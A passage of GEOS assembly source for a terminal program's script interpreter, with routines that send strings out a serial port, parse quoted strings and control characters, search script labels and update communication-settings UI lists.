CALLED BY: DoCommand
PASS: ax - method to send
ds - droup
es:di - pointer into macro file
cx - TRUE for Tone, FALSE for Pulse
RETURN:
DESTROYED: ax, bx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 3/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetDialList proc near
EC < call ECCheckDS_dgroup >
push di ;save macro file pointer
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION ;set the entry
clr dx
GetResourceHandleNS ModemUI, bx
mov si, offset ModemUI:ModemDial
mov di, mask MF_CALL
call ObjMessage
pop di
ret
SetDialList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoSend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send string out the com port
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
(script file is in GEOS character set)
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
the syntax is : SEND <string expression>[,character_expression]
these strings are all recognized
SEND CR
SEND "+++"
SEND "---",CR
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
eric 10/16/96 Added variables
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoSend proc near
call SkipSpaces
cmp {byte} es:[di], CHAR_CR
LONG je charErr
if _SCRIPT_VARIABLE
cmp {byte} es:[di], CHAR_DOLLAR ; better check to see if
; DBCS version loword is
; same.
jne string_check_do_send
call VariableCheck ; Check to see if variable.
jnc string_check_do_send ; If string is not formatted
; as a variable, send it
; through to the string
; check.
push ds ; Save segment to script
mov bx, segment dgroup
mov ds, bx ; set dgroup
CallMod BufferedSendBuffer
pop ds ; Restore script segment.
jc error
mov si, di ; return to original
; position
mov cx, dx ; return to original length
; (of varaible $text$)
segmov es, ds ; restore segment of
; variable.
mov bx, segment dgroup
mov ds, bx ; restore dgroup
jmp continue_process_do_send
string_check_do_send:
endif ; _SCRIPT_VARIABLE
cmp {byte} es:[di], CHAR_DBL_QUOTE ;is there a string exp?
jne convChar ;nope, check for chars
call StringCheck ;if string malformed
LONG jnz error ; bail
mov ss:[systemErr], FALSE ;reset error flag
mov si, di ;es:si->string to send
;; CallMod SendBuffer ;
;;echo locally in half-duplex mode
;one line only, so this will be synchronously sent - brianc 2/28/94
call BufferedSendBuffer
jc error ; if error, stop
if _SCRIPT_VARIABLE
continue_process_do_send:
endif ; _SCRIPT_VARIABLE
add si, cx ; es:si = points past string
; sent
DBCS< add si, cx ; char offset -> byte offset>
EC < call ECCheckDS_dgroup >
tst ds:[systemErr]
jnz error
mov di, si ;es->di points to end of string
LocalNextChar esdi ; just sent
checkChar:
call SkipSpaces ;check if any other chars
cmp {byte} es:[di], CHAR_COMMA ;nope
jne exit
LocalNextChar esdi ;es:di->character expression
convChar:
call ConvCharExp ;convert the char expression
jc charErr
if DBCS_PCGEOS ;-------------------------------------------------------------
;
; go into single byte mode
;
call SendSingleByteEscape
endif ;----------------------------------------------------------------------
mov cl, al ;pass char to send
; (characters sent are in BBS code page)
CallMod SendChar
;
; if in half-duplex mode, echo character locally
;
cmp ds:[halfDuplex], TRUE ; half-duplex?
jne checkChar ; nope
if DBCS_PCGEOS ;-------------------------------------------------------------
push di
cmp ds:[bbsRecvCP], CODE_PAGE_JIS_DB
jne noStartEscape
push cx
mov bp, offset singleByteEscape ; to single byte
mov cx, 3 ; 3 bytes in escape
call sendEscape
pop cx
noStartEscape:
mov ax, MSG_READ_CHAR
mov bx, ds:[threadHandle]
mov di, mask MF_FORCE_QUEUE ; queue it up
call ObjMessage
cmp ds:[bbsRecvCP], CODE_PAGE_JIS_DB
jne noEndEscape
push cx
mov bp, offset doubleByteEscape ; back to double byte
mov cx, 5 ; 3 bytes + null word
call sendEscape
pop cx
noEndEscape:
pop di
else ;---------------------------------------------------------------------
push di
mov ax, MSG_READ_CHAR
mov bx, ds:[threadHandle]
mov di, mask MF_FORCE_QUEUE ; queue it up
call ObjMessage
pop di
endif ;---------------------------------------------------------------------
jmp short checkChar
charErr:
call NullTerminateWord
mov bp, ERR_UNDEF_CHAR
call DispErrMessage
error:
mov ds:[systemErr], FALSE ;reset error flag
exit:
call GotoNextLine
ret
if DBCS_PCGEOS ;-------------------------------------------------------------
sendEscape label near
mov ax, MSG_READ_BUFFER
mov dx, ds
mov bx, ds:[threadHandle]
mov di, mask MF_FORCE_QUEUE
call ObjMessage
retn
endif ;---------------------------------------------------------------------
DoSend endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoStart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set error flag
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoStart proc near
exit:
call GotoNextLine
ret
DoStart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoTerm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set terminal type to use
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/05/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoTerm proc near
call SkipSpaces
mov si, offset TermTable ;cs:si->macroTable
mov cx, offset TermTableEnd ;get end of table
mov dx, CHAR_NULL ;alternate word delimiter
call StringMatch
jnc setTerm
call NullTerminateWord
mov bp, ERR_UNDEF_TERM
call DispErrMessage
jmp short exit
setTerm:
mov cl, cs:[si] ;get termtype
mov ds:[termType], cl
CallMod SetTermList ;
exit:
call GotoNextLine
ret
DoTerm endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringMatch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: match the string against the table of valid strings
CALLED BY: DoComm, DoTerm, DoPort, ...
PASS: es:di - sub string
cs:si - search string
cx - length of search string
dx - alternate word delimiter
RETURN: C - clear if string found
si - points past the sub string
di - points past the match in the search string
C - set if string not found
DESTROYED: bp
PSEUDO CODE/STRATEGY:
check the string against a table of valid strings
The table is stored in our code segment,
pass a ptr to the table and do the search
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/05/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringMatch proc near
uses ds, bx
.enter
segmov ds, cs, ax
CallMod TableSearch
.leave
ret
StringMatch endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DispErrMessage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: display an error message then abort the script
CALLED BY: CheckCommand, DoComm, DoTerm, DoPause, ...
PASS: ds - dgroup
es:di - current line in macro file
bp - number of error string to display
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DispErrMessage proc near
push di
CallMod DisplayErrorMessage
pop di
call ScriptAttemptBranchToAbortSection ;if abort section
jnc done ;continue script...
EC < call ECCheckDS_dgroup >
;set scriptMode = SCRIPT_MODE_OFF, and notify serial thread
;that the script has aborted.
call ScriptCancelAndNotifySerialThread
;free script block, reset UI, etc.
call EndScript ;kill it
done:
ret
DispErrMessage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringCheck
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check that the string is bounded by quotes (")
CALLED BY: DoDial, DoSend
PASS: ds - dgroup
es:di - start of quoted string
RETURN: Z - set if string okay
di - points to first char inside the quote
cx - length of string
Z - clear if string illegal
error message already posted
DESTROYED: al, bx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringCheck proc near
mov bx, di ;save ptr to start of string
LocalLoadChar ax, CHAR_DBL_QUOTE
SBCS < cmp es:[di], al ;string must be bounded by '"'>
DBCS < cmp es:[di], ax ;string must be bounded by '"'>
jne strErr ;
LocalNextChar esdi ;skip past the '"'
mov dx, di ;save ptr to start of string
call StringLength ;calls GotoNextLine (!!!)
;returns cx = number of chars
;to end of line
;does not trash al
LocalFindChar ;search for ending quote
jnz strErr ;skip if cannot find it...
LocalPrevChar esdi ;point to end of string
mov cx, di ;
mov di, dx ;get ptr to start of str
sub cx, di ;calc string length
DBCS < shr cx, 1 ;# bytes -> # chars >
cmp al, al ; set Z flag for return
jmp short exit ;
strErr: ;
;we have encountered an error in the string: shove a "0" null-terminator
;into the end of the string, so that we can print it in the error DB.
mov di, bx ;set ptr to start of dorked
call NullTerminateWord ; string
push ds, si
mov ds, cx ;set ds:si = string
mov si, dx
SBCS < cmp {byte} ds:[si], 0 ;null-string? >
DBCS < cmp {wchar} ds:[si], 0 ;null-string? >
pop ds, si
mov bp, ERR_UNDEF_STR ;assume is UNDEF string
jne haveErr ;skip if have a string...
mov bp, ERR_MISSING_STR ;else, missing string error
haveErr:
call DispErrMessage
cmp bp, 0 ; clears Z flag
exit:
ret
StringCheck endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringLength
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get length of the string
CALLED BY: DoPrint
PASS: ds - dgroup
es:di - start of quoted string
dx - junk
RETURN: cx - length of string
DESTROYED: al
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 6/22/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringLength proc near
push ax, di ;save ptr into macro file
call GotoNextLine ;find end of line
mov cx, di ;
pop ax, di ;get length between end and
sub cx, di ; start of line
DBCS < shr cx, 1 ;# bytes -> # chars >
ret
StringLength endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LabelSearch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Search the macro file for a label
CALLED BY: DoGoto
PASS: es:di - label to search for
ds:si - file to search
cx - size of file
RETURN: C - clear if label found
ds:si - points to line of the label
C - set if label not found
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/07/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LabelSearch proc near
SBCS < cmp {byte}ds:[si], LABEL_FLAG ;is this line a label >
DBCS < cmp {wchar}ds:[si], LABEL_FLAG ;is this line a label >
jne skip ;nope, skip it
LocalNextChar dssi ;else point to label
call WordCmp ; and if labels match
jnc exit ; then exit
skip:
LocalNextChar dssi
SBCS < cmp {byte}ds:[si], CHAR_LF ;skip to next line >
DBCS < cmp {wchar}ds:[si], CHAR_LF ;skip to next line >
jne skip
LocalNextChar dssi ;skip past the LF
cmp si, cx ;if not at end of file
jb LabelSearch ; continue
notfound:
stc ;else flag label not found
jmp short exit
exit:
ret
LabelSearch endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
WordCmp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: check if two words match
CALLED BY: LabelSearch
PASS: es:di - string to match (white space terminated)
ds:si - string to check against (white space terminated)
RETURN: C - set if string don't match
es:di - points past the string
ds:si - points past the string
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/07/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
WordCmp proc near
mov bx, di ;save ptr to start of label
cmpChar:
LocalGetChar ax, esdi, NO_ADVANCE ;get the char to compare
LocalCmpChar ax, CHAR_SPACE ;if first string done
je last ;check if second string done
LocalCmpChar ax, CHAR_CR ;
je last ;
LocalCmpChar ax, CHAR_TAB ;
je last ;
LocalCmpChar ax, CHAR_NULL ;
je last ;
SBCS < cmp al, ds:[si] ;if chars not equal then>
DBCS < cmp ax, ds:[si] ;if chars not equal then>
jne notEqual ; words not equal
LocalNextChar esdi ;check next char
LocalNextChar dssi ;
jmp short cmpChar ;
last:
LocalGetChar ax, dssi, NO_ADVANCE
LocalCmpChar ax, CHAR_SPACE ;if second string done
je equal ;then two strings are equal
LocalCmpChar ax, CHAR_CR ;
je equal ;
LocalCmpChar ax, CHAR_TAB ;
je equal ;
LocalCmpChar ax, CHAR_NULL ;
je equal ;
notEqual: ;else they don't match
stc
jmp short exit
equal:
clc
exit:
mov di, bx ;restore ptr to start of label
ret
WordCmp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
StringCopyAndConvert
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy one string to another and convert from GEOS->BBS
DBCS: no conversion
CALLED BY: DoMatch
PASS: es:di - string to copy
(GEOS code page)
ds:si - string to copy to
dh - alternate word delimeter
cx - number of characters to copy, not including null-term.
Null term will be written to destination string.
(pass 0 to copy string until reach space, tab, or CR;
will then write null-terminator).
ds - dgroup (match table in dgroup)
RETURN: es:di - points to the terminating character in the source
string (if was copying CX chars, points to char after
the CX char.)
ds:si - points to the null-termination in the dest string.
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
StringCopyAndConvert proc near
EC < call ECCheckDS_dgroup >
mov bx, cx ;get flag if should check for
; end of string
copyChar:
LocalGetChar ax, esdi, NO_ADVANCE ;get character
tst bx ;test for end of string?
jnz doCopy
SBCS < cmp al, dh ;check for alt word delimiter>
DBCS < cmp ax, dx ;check for alt word delimiter>
je exit ;skip if found it...
LocalCmpChar ax, CHAR_SPACE
je exit
LocalCmpChar ax, CHAR_TAB
je exit
LocalCmpChar ax, CHAR_CR
je exit
LocalCmpChar ax, CHAR_NULL
je exit
doCopy:
;
; convert character to BBS code page, if needed
; (do per character as it is easiest this way -- not that slow
; as few characters will need to be converted)
; DBCS: no conversion, convert when comparing with input as we cannot
; easily deal with storing the info about JIS code page mode that is
; needed to match correctly
;
if not DBCS_PCGEOS
cmp al, MIN_MAP_CHAR ; need to convert?
jb noConv ; nope
push bx, cx ; save flag, pointer
mov bx, MAPPING_DEFAULT_CHAR
mov cx, ds:[bbsCP] ; bx = destination code page
call LocalGeosToCodePageChar ; al = converted char
if INPUT_OUTPUT_MAPPING
call OutputMapChar
endif
pop bx, cx ; restore flag, pointer
noConv:
endif
LocalPutChar dssi, ax, NO_ADVANCE
LocalNextChar dssi
LocalNextChar esdi
loop copyChar
exit:
SBCS < mov {byte} ds:[si], CHAR_NULL ;null terminate the string>
DBCS < mov {wchar} ds:[si], CHAR_NULL ;null terminate the string>
ret
StringCopyAndConvert endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvCharExp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: convert character expressions to actual character value
CALLED BY: DoSend, DoPrint
PASS: es:di - character expression to convert
RETURN: AL - charater value
C - clear if character expression okay
es:di - points past char expression
C - set if character expression invalid
es:di - points at dorked char exp
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvCharExp proc near
call SkipSpaces
SBCS< cmp {byte}es:[di], CHAR_CTRL >
DBCS< cmp {wchar}es:[di], CHAR_CTRL >
jne notCtrl
LocalNextChar esdi ;get past the '^' char
LocalGetChar ax, esdi, NO_ADVANCE ;get the ctrl char
SBCS < and al, CTRL_MASK >
DBCS < and ax, CTRL_MASK >
LocalNextChar esdi ;move past the ctrl char
clc ;clear error flag
jmp short exit
notCtrl:
mov si, offset CharTable ;cs:si->macroTable
mov cx, offset CharTableEnd ;get length of table
mov dx, CHAR_COMMA ;alternate word delimiter
call StringMatch
jc exit
LocalGetChar ax, cssi, NO_ADVANCE ;get char to send >
exit:
ret
ConvCharExp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvNumString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Convert numeric string to hex value
CALLED BY: DoPause, DoPrompt
PASS: es:di - current line in script file
ds - dgroup
RETURN: C - clear if number okay
- set if number dorked (error message displayed)
DESTROYED:
PSEUDO CODE/STRATEGY:
The argument is in 1/60ths of a second. So to pause for
1 second, use 'PAUSE 60' If no argument, assume pause for
one second.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
If input comes in when the program is sleeping then
you lose data.
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvNumString proc near
call SkipSpaces ;check for arguments
SBCS < cmp {byte} es:[di], CHAR_CR >
DBCS < cmp {wchar} es:[di], CHAR_CR >
je default
mov ds:[inputBase], DECIMAL ;flag this is decimal #
mov dx, es ;save macro file segment
segmov es, ds, ax ;es->dgroup
mov ds, dx ;ds->macro file
mov si, di
SBCS < CallMod ConvertDecNumber >
DBCS < CallMod ConvertDecNumberDBCS >
mov dx, es ;save ptr to dgroup
segmov es, ds, cx ;es->macro file
mov ds, dx ;ds-> dgroup
cmp ax, ERROR_FLAG
jne okay
call NullTerminateWord ; string
mov bp, ERR_UNDEF_NUM ;numeric error
call DispErrMessage
stc
jmp short exit
default:
mov ax, ONE_SECOND
okay:
clc
exit:
ret
ConvNumString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EndScript
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do tasks associated with finishing a script file
CALLED BY: ScriptTimeout, ScriptRunFile
PASS: ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EndScript proc near
;first free the script file block
EC < call ECCheckDS_dgroup >
mov bx, ds:[scriptHandle] ;free up script buffer block
tst bx
jz exit ;skip if already did this work...
call MemFree
clr ds:[scriptHandle]
;update the UI
call ResetScriptTriggers
;redirect input to the screen (if the Serial thread has not already
;done this)
CallMod SetScreenInput
EC < call ECCheckDS_dgroup >
cmp ds:[serialPort], NO_PORT ;if no port opened then
je exit ;don't enable file
CallMod EnableFileTransfer ;transfer junk
exit:
ret
EndScript endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set timer to wake up the program
CALLED BY: DoPrompt, DoPause
PASS: es:di - current line in script file
ds - dgroup
RETURN: carry set if parse error
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/09/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetTimer proc near
EC < call ECCheckDS_dgroup >
call ConvNumString ;get amount to wait
jc exit ;if error bug out
mov cx, ax ;else set timer length
mov ax, TIMER_EVENT_ONE_SHOT ; and start the timer
mov bx, ds:[termProcHandle] ;get our process handle
mov dx, MSG_TIMEOUT ;
call TimerStart ;
mov ds:[scriptTimerId], ax ;store timer info
mov ds:[scriptTimerHandle], bx ;
call GotoNextLine
mov ds:[restartPtr], di ;save ptr to next line
clc ;no error
exit: ;and wait for timer or a match
ret
SetTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetDataList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set entry in data bits list
CALLED BY: DoComm
PASS: es - dgroup
cx - data bits to use
di - pointer into macro file
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/21/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetDataList proc near
EC < call ECCheckDS_dgroup >
push cx, di
GetResourceHandleNS DataList, bx
mov si, offset DataList
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx, di
ret
SetDataList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetParityList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set entry in parity list
CALLED BY: DoComm
PASS: es - dgroup
cx - data bits to use
di - pointer into macro file
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/21/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetParityList proc near
EC < call ECCheckDS_dgroup >
push cx, di
clr dx
GetResourceHandleNS ParityList, bx
mov si, offset ParityList
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx, di
ret
SetParityList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetStopList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set entry in stop bits list
CALLED BY: DoComm
PASS: ds - dgroup
cx - stop bits to use
cs:si - pointing at stop bit value
di - pointer into macro file
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/21/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetStopList proc near
EC < call ECCheckDS_dgroup >
push cx, di
mov dx, SBO_ONE ;assume 1 bit
cmp cl, ONE_STOP
je setList
sub si, 3
SBCS < cmp {byte} cs:[si], '5' ;was it 1.5 stop bits? >
DBCS < cmp {wchar} cs:[si], '5' ;was it 1.5 stop bits? >
je doOneHalf
mov dx, SBO_TWO ;2 bits
jmp short setList
doOneHalf:
mov dx, SBO_ONEANDHALF ;1.5 bits
jmp short setList
setList:
mov cx, dx ;cx = identifier
clr dx
GetResourceHandleNS StopList, bx
mov si, offset StopList
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx, di
ret
SetStopList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetDuplexList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set entry in duplex list
CALLED BY: DoComm
PASS: es - dgroup
cl - TRUE (use half duplex)
di - pointer into macro file
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/21/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetDuplexList proc near
EC < call ECCheckDS_dgroup >
push cx, di
mov al, cl
cbw
mov cx, ax
GetResourceHandleNS EchoList, bx
mov si, offset EchoList
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx, di
ret
SetDuplexList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EnableTrigger
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: enable ScriptUI trigger
CALLED BY: InitScript, EndScript
PASS: ds - dgroup
si - offset to ScriptUI obj to disable
RETURN:
DESTROYED:
